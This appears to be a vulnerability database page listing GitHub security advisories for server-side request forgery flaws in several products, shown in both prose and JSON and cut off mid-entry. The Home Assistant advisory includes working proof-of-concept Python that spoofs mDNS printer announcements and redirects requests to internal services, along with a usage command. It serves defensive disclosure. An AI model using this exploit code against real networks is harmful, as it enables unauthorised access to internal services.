Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6217 vulnerabilities reference this CWE, most recent first.

GHSA-4G6X-74C2-RFR9

Vulnerability from github – Published: 2025-12-30 21:30 – Updated: 2025-12-30 21:30
VLAI
Details

A vulnerability was determined in FeehiCMS up to 2.1.1. Impacted is an unknown function of the file frontend/web/timthumb.php of the component TimThumb. Executing manipulation of the argument src can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-15264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-30T19:15:44Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in FeehiCMS up to 2.1.1. Impacted is an unknown function of the file frontend/web/timthumb.php of the component TimThumb. Executing manipulation of the argument src can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-4g6x-74c2-rfr9",
  "modified": "2025-12-30T21:30:32Z",
  "published": "2025-12-30T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15264"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.338663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.338663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.718278"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4GG8-4J5V-PVFM

Vulnerability from github – Published: 2025-08-18 18:30 – Updated: 2025-08-18 18:30
VLAI
Details

ColdFusion versions 2025.1, 2023.13, 2021.19 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to limited file system read. A high-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-54234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-18T17:15:29Z",
    "severity": "LOW"
  },
  "details": "ColdFusion versions 2025.1, 2023.13, 2021.19 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to limited file system read. A high-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-4gg8-4j5v-pvfm",
  "modified": "2025-08-18T18:30:35Z",
  "published": "2025-08-18T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54234"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/coldfusion/apsb25-52.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4GGG-H7PH-26QR

Vulnerability from github – Published: 2026-04-08 19:53 – Updated: 2026-04-09 19:05
VLAI
Summary
n8n-mcp has authenticated SSRF via instance-URL header in multi-tenant HTTP mode
Details

Impact

An authenticated Server-Side Request Forgery in n8n-mcp allows a caller holding a valid AUTH_TOKEN to cause the server to issue HTTP requests to arbitrary URLs supplied through multi-tenant HTTP headers. Response bodies are reflected back through JSON-RPC, so an attacker can read the contents of any URL the server can reach — including cloud instance metadata endpoints (AWS IMDS, GCP, Azure, Alibaba, Oracle), internal network services, and any other host the server process has network access to.

The primary at-risk deployments are multi-tenant HTTP installations where more than one operator can present a valid AUTH_TOKEN, or where a token is shared with less-trusted clients. Single-tenant stdio deployments and HTTP deployments without multi-tenant headers are not affected.

Affected versions

n8n-mcp ≤ 2.47.3 (all versions up to and including 2.47.3).

Patched versions

n8n-mcp 2.47.4 and later.

Workarounds

If you cannot immediately upgrade: 1. Egress filtering at the network layer — block outbound traffic from the n8n-mcp container to RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local 169.254.0.0/16, and any other internal ranges. This defends against any future SSRF-class issue and is recommended even after upgrading. 2. Disable multi-tenant headers — if your deployment does not require per-request instance switching, unset ENABLE_MULTI_TENANT and do not accept x-n8n-url / x-n8n-key headers at the reverse proxy. 3. Restrict AUTH_TOKEN distribution — ensure the bearer token is only held by fully trusted operators until you can upgrade.

Remediation

Upgrade to n8n-mcp 2.47.4 or later. No configuration changes are required; the fix adds validation at the URL entry points and normalizes URLs at the API client layer.

Credits

Reported by the Eresus Security Research Team. @ibrahmsql

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.47.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "n8n-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.47.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:53:48Z",
    "nvd_published_at": "2026-04-09T17:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Impact\nAn authenticated Server-Side Request Forgery in `n8n-mcp` allows a caller holding a valid `AUTH_TOKEN` to cause the server to issue HTTP requests to arbitrary URLs supplied through multi-tenant HTTP headers. Response bodies are reflected back through JSON-RPC, so an attacker can read the contents of any URL the server can reach \u2014 including cloud instance metadata endpoints (AWS IMDS, GCP, Azure, Alibaba, Oracle), internal network services, and any other host the server process has network access to.\n\nThe primary at-risk deployments are multi-tenant HTTP installations where more than one operator can present a valid `AUTH_TOKEN`, or where a token is shared with less-trusted clients. Single-tenant stdio deployments and HTTP deployments without multi-tenant headers are not affected.\n\n## Affected versions\n`n8n-mcp` \u2264 `2.47.3` (all versions up to and including 2.47.3).\n\n## Patched versions\n`n8n-mcp` `2.47.4` and later.\n\n## Workarounds\nIf you cannot immediately upgrade:\n1. **Egress filtering at the network layer** \u2014 block outbound traffic from the `n8n-mcp` container to RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local `169.254.0.0/16`, and any other internal ranges. This defends against any future SSRF-class issue and is recommended even after upgrading.\n2. **Disable multi-tenant headers** \u2014 if your deployment does not require per-request instance switching, unset `ENABLE_MULTI_TENANT` and do not accept `x-n8n-url` / `x-n8n-key` headers at the reverse proxy.\n3. **Restrict `AUTH_TOKEN` distribution** \u2014 ensure the bearer token is only held by fully trusted operators until you can upgrade.\n\n## Remediation\nUpgrade to `n8n-mcp` 2.47.4 or later. No configuration changes are required; the fix adds validation at the URL entry points and normalizes URLs at the API client layer.\n\n## Credits\nReported by the Eresus Security Research Team. @ibrahmsql",
  "id": "GHSA-4ggg-h7ph-26qr",
  "modified": "2026-04-09T19:05:56Z",
  "published": "2026-04-08T19:53:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-4ggg-h7ph-26qr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/czlonkowski/n8n-mcp/commit/d9d847f230923d96e0857ccecf3a4dedcc9b0096"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/czlonkowski/n8n-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/czlonkowski/n8n-mcp/releases/tag/v2.47.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "n8n-mcp has authenticated SSRF via instance-URL header in multi-tenant HTTP mode"
}

GHSA-4GHV-53CQ-7WP3

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40
VLAI
Summary
Home Assistant: mDNS Server-Side Request Forgery
Details

Summary

Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.

Details

Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.

The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:

async def async_step_zeroconf(
    self, discovery_info: ZeroconfServiceInfo
) -> ConfigFlowResult:
    host = discovery_info.host
    port = discovery_info.port
    zctype = discovery_info.type
    name = discovery_info.name.replace(f".{zctype}", "")
    tls = zctype == "_ipps._tcp.local."
    base_path = discovery_info.properties.get("rp", "ipp/print")

    self.discovery_info.update(
        {
            CONF_HOST: host,
            CONF_PORT: port,
            CONF_SSL: tls,
            CONF_VERIFY_SSL: False,
            CONF_BASE_PATH: f"/{base_path}",
            CONF_NAME: name,
            CONF_UUID: unique_id,
        }
    )

These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:

async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
    session = async_get_clientsession(hass)
    ipp = IPP(
        host=data[CONF_HOST],
        port=data[CONF_PORT],
        base_path=data[CONF_BASE_PATH],
        tls=data[CONF_SSL],
        verify_ssl=data[CONF_VERIFY_SSL],
        session=session,
    )
    printer = await ipp.printer()
    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}

The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.

An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.

PoC

The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.

Prerequisites

  • Attacker machine on the same local network as the Home Assistant Green device
  • Python 3 with dependencies: pip install -r requirements.txt

Exploit Code

The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:

def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
    transaction_id = 0x0000  # mDNS always 0
    flags = 0x8400           # Standard response, authoritative answer
    qdcount = 0
    ancount = 4              # 4 answers (service_type, SRV, TXT, A)
    nscount = 0
    arcount = 0

    SRV = service_name + '.' + service_type
    header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)

    def encode_name(name):
        parts = name.split(".")
        out = b""
        for p in parts:
            out += bytes([len(p)]) + p.encode("utf-8")
        out += b"\x00"
        return out

    answers = b""

    # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local
    answers += encode_name(service_type)
    answers += struct.pack("!HHI", 12, 1, 1)
    target = encode_name(SRV)
    answers += struct.pack("!H", len(target)) + target

    # SRV record
    answers += encode_name(SRV)
    answers += struct.pack("!HHI", 33, 1, 120)
    srv_data = struct.pack("!HHH", 0, 0, attacker_port) + encode_name("hihiabcdmeomeo.local")
    answers += struct.pack("!H", len(srv_data)) + srv_data

    # TXT record
    txt_strs = [b"abcd=efgh"]
    txt_record = b"".join(bytes([len(s)]) + s for s in txt_strs)
    answers += encode_name(SRV)
    answers += struct.pack("!HHI", 16, 1, 120)
    answers += struct.pack("!H", len(txt_record)) + txt_record

    # A record: hihiabcdmeomeo.local -> attacker IP
    answers += encode_name("hihiabcdmeomeo.local")
    answers += struct.pack("!HHI", 1, 1, 120)
    ip_bytes = socket.inet_aton(attacker_ip)
    answers += struct.pack("!H", len(ip_bytes)) + ip_bytes

    return header + answers

def send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
    packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)
    sock.sendto(packet, (has_ip, 5353))

The attacker's HTTP server redirects the incoming IPP request to an internal service:

class RedirectHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:<INTERNAL_PORT>/<path>")
        self.end_headers()

Usage

python3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo

Exploit Flow

  1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service
  2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000
  3. Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server
  4. The attacker's server responds with a 302 redirect to http://127.0.0.1:<port>/<path>
  5. Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf

Impact

An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes _ipp._tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.

Mitigations

The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.

Acknowledgements

Discovered by ZDI (ZDI-CAN-28336)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2026.2.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "homeassistant"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-91129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nHome Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes `_ipp._tcp.local` service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.\n\n## Details\n\nHome Assistant listens for mDNS service announcements on port 5353. When a service of type `_ipp._tcp.local` is discovered, the IPP integration\u0027s zeroconf handler (`homeassistant/components/ipp/config_flow.py`) processes it automatically.\n\nThe `async_step_zeroconf` method extracts `host`, `port`, and `base_path` directly from the mDNS discovery info without validation:\n\n```python\nasync def async_step_zeroconf(\n    self, discovery_info: ZeroconfServiceInfo\n) -\u003e ConfigFlowResult:\n    host = discovery_info.host\n    port = discovery_info.port\n    zctype = discovery_info.type\n    name = discovery_info.name.replace(f\".{zctype}\", \"\")\n    tls = zctype == \"_ipps._tcp.local.\"\n    base_path = discovery_info.properties.get(\"rp\", \"ipp/print\")\n\n    self.discovery_info.update(\n        {\n            CONF_HOST: host,\n            CONF_PORT: port,\n            CONF_SSL: tls,\n            CONF_VERIFY_SSL: False,\n            CONF_BASE_PATH: f\"/{base_path}\",\n            CONF_NAME: name,\n            CONF_UUID: unique_id,\n        }\n    )\n```\n\nThese values are then passed to `validate_input()`, which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:\n\n```python\nasync def validate_input(hass: HomeAssistant, data: dict) -\u003e dict[str, Any]:\n    session = async_get_clientsession(hass)\n    ipp = IPP(\n        host=data[CONF_HOST],\n        port=data[CONF_PORT],\n        base_path=data[CONF_BASE_PATH],\n        tls=data[CONF_SSL],\n        verify_ssl=data[CONF_VERIFY_SSL],\n        session=session,\n    )\n    printer = await ipp.printer()\n    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}\n```\n\nThe core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at `127.0.0.1` or other internal services that are not otherwise network-accessible.\n\nAn attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker\u0027s IP. The attacker\u0027s HTTP server then responds with a **302 redirect** to any internal endpoint, causing Home Assistant to make the request on the attacker\u0027s behalf.\n\n## PoC\n\nThe PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker\u0027s HTTP server, which redirects the request to an internal service.\n\n### Prerequisites\n\n- Attacker machine on the same local network as the Home Assistant Green device\n- Python 3 with dependencies: `pip install -r requirements.txt`\n\n### Exploit Code\n\nThe core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:\n\n```python\ndef build_dns_response(service_name, service_type, attacker_ip, attacker_port):\n    transaction_id = 0x0000  # mDNS always 0\n    flags = 0x8400           # Standard response, authoritative answer\n    qdcount = 0\n    ancount = 4              # 4 answers (service_type, SRV, TXT, A)\n    nscount = 0\n    arcount = 0\n\n    SRV = service_name + \u0027.\u0027 + service_type\n    header = struct.pack(\"!HHHHHH\", transaction_id, flags, qdcount, ancount, nscount, arcount)\n\n    def encode_name(name):\n        parts = name.split(\".\")\n        out = b\"\"\n        for p in parts:\n            out += bytes([len(p)]) + p.encode(\"utf-8\")\n        out += b\"\\x00\"\n        return out\n\n    answers = b\"\"\n\n    # PTR record: _ipp._tcp.local -\u003e meomeo._ipp._tcp.local\n    answers += encode_name(service_type)\n    answers += struct.pack(\"!HHI\", 12, 1, 1)\n    target = encode_name(SRV)\n    answers += struct.pack(\"!H\", len(target)) + target\n\n    # SRV record\n    answers += encode_name(SRV)\n    answers += struct.pack(\"!HHI\", 33, 1, 120)\n    srv_data = struct.pack(\"!HHH\", 0, 0, attacker_port) + encode_name(\"hihiabcdmeomeo.local\")\n    answers += struct.pack(\"!H\", len(srv_data)) + srv_data\n\n    # TXT record\n    txt_strs = [b\"abcd=efgh\"]\n    txt_record = b\"\".join(bytes([len(s)]) + s for s in txt_strs)\n    answers += encode_name(SRV)\n    answers += struct.pack(\"!HHI\", 16, 1, 120)\n    answers += struct.pack(\"!H\", len(txt_record)) + txt_record\n\n    # A record: hihiabcdmeomeo.local -\u003e attacker IP\n    answers += encode_name(\"hihiabcdmeomeo.local\")\n    answers += struct.pack(\"!HHI\", 1, 1, 120)\n    ip_bytes = socket.inet_aton(attacker_ip)\n    answers += struct.pack(\"!H\", len(ip_bytes)) + ip_bytes\n\n    return header + answers\n\ndef send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)\n    packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)\n    sock.sendto(packet, (has_ip, 5353))\n```\n\nThe attacker\u0027s HTTP server redirects the incoming IPP request to an internal service:\n\n```python\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:\u003cINTERNAL_PORT\u003e/\u003cpath\u003e\")\n        self.end_headers()\n```\n\n### Usage\n\n```bash\npython3 zeroconf.py -type _ipp._tcp.local -has_ip \u003cHOME_ASSISTANT_IP\u003e -attacker_ip \u003cATTACKER_IP\u003e -name meomeo\n```\n\n### Exploit Flow\n\n1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service\n2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker\u0027s IP and port 8000\n3. Home Assistant\u0027s IPP integration automatically discovers the \"printer\" and connects to the attacker\u0027s HTTP server\n4. The attacker\u0027s server responds with a 302 redirect to `http://127.0.0.1:\u003cport\u003e/\u003cpath\u003e`\n5. Home Assistant follows the redirect, making a request to the internal service on the attacker\u0027s behalf\n\n## Impact\n\nAn unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to `127.0.0.1` or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration \u2014 the IPP integration processes `_ipp._tcp.local` announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.\n\n## Mitigations\n\nThe shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (`localhost` and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.\n\n## Acknowledgements\n\nDiscovered by ZDI (ZDI-CAN-28336)",
  "id": "GHSA-4ghv-53cq-7wp3",
  "modified": "2026-09-22T20:40:51Z",
  "published": "2026-09-22T20:40:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/security/advisories/GHSA-4ghv-53cq-7wp3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/pull/162941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/commit/0f3c7ca2772b605c0f3c09c88f35e527ea6ea560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/commit/815c708d19aa0c7f59f9ee318b613a5e481a42b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/home-assistant/core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/releases/tag/2026.2.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Home Assistant: mDNS Server-Side Request Forgery"
}

GHSA-4GM2-R6XM-JQXH

Vulnerability from github – Published: 2022-05-17 00:01 – Updated: 2024-03-14 21:30
VLAI
Details

The Fusion Builder WordPress plugin before 3.6.2, used in the Avada theme, does not validate a parameter in its forms which could be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application's response. This could be used to interact with hosts on the server's local network bypassing firewalls and access control measures.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-1386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-16T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Fusion Builder WordPress plugin before 3.6.2, used in the Avada theme, does not validate a parameter in its forms which could be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application\u0027s response. This could be used to interact with hosts on the server\u0027s local network bypassing firewalls and access control measures.",
  "id": "GHSA-4gm2-r6xm-jqxh",
  "modified": "2024-03-14T21:30:50Z",
  "published": "2022-05-17T00:01:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1386"
    },
    {
      "type": "WEB",
      "url": "https://theme-fusion.com/version-7-6-2-security-update"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/bf7034ab-24c4-461f-a709-3f73988b536b"
    },
    {
      "type": "WEB",
      "url": "https://www.rootshellsecurity.net/rootshell-discovered-a-critical-vulnerability-in-top-wordpress-theme"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4GM2-V7J4-74P8

Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2026-02-18 18:30
VLAI
Details

When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is disabled

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-22175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-11T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is disabled",
  "id": "GHSA-4gm2-v7j4-74p8",
  "modified": "2026-02-18T18:30:19Z",
  "published": "2022-05-24T19:05:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22175"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1059596"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22175.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/294178"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22175"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4GP8-RJRQ-CH6Q

Vulnerability from github – Published: 2026-05-05 20:13 – Updated: 2026-05-13 14:20
VLAI
Summary
link-preview-js vulnerable to IPv6 and internal loopback attacks
Details

Impact

The library did not check for IPv6 loopback attacks. There was also a DNS attack, where an address could be resolved into an internal IP. This could cause internal data leaks.

Patches

Problem has been patched in version 4.0.1. However, it cannot be completely solved by the package alone. The regex used for validation has been tightened for IPv6 addresses.

The DNS resolving, however, is more difficult. The regex has been tightened to prohibit .internal, .local, .nip.io and .sslip.io addresses, however there can be other services not on the list, therefore it is imperative that users use the resolveDNSHost option to do DNS resolution before fetching content. To that regard a (scary) error message has been added when the option is not set.

Workarounds

Users can do their own validation before fetching content.

Reported by https://github.com/Andrew-most-likely

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "link-preview-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:13:02Z",
    "nvd_published_at": "2026-05-11T22:22:14Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThe library did not check for IPv6 loopback attacks. There was also a DNS attack, where an address could be resolved into an internal IP. This could cause internal data leaks.\n\n### Patches\nProblem has been patched in version 4.0.1. However, it cannot be completely solved by the package alone. The regex used for validation has been tightened for IPv6 addresses. \n\nThe DNS resolving, however, is more difficult. The regex has been tightened to prohibit .internal, .local, .nip.io and .sslip.io addresses, however there can be other services not on the list, therefore it is imperative that users use the resolveDNSHost option to do DNS resolution before fetching content. To that regard a (scary) error message has been added when the option is not set.\n\n### Workarounds\nUsers can do their own validation before fetching content.\n\nReported by https://github.com/Andrew-most-likely",
  "id": "GHSA-4gp8-rjrq-ch6q",
  "modified": "2026-05-13T14:20:09Z",
  "published": "2026-05-05T20:13:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OP-Engineering/link-preview-js/security/advisories/GHSA-4gp8-rjrq-ch6q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OP-Engineering/link-preview-js/pull/179"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OP-Engineering/link-preview-js/commit/4396d48909fab37553c0e93e26447fe218363ede"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OP-Engineering/link-preview-js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OP-Engineering/link-preview-js/releases/tag/4.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "link-preview-js vulnerable to IPv6 and internal loopback attacks"
}

GHSA-4GWR-3V6M-22JJ

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details

JetBrains TeamCity Plugin before 2020.2.85695 SSRF. Vulnerability that could potentially expose user credentials.

Show details on source website

{
  "affected": [],
  "aliases": [
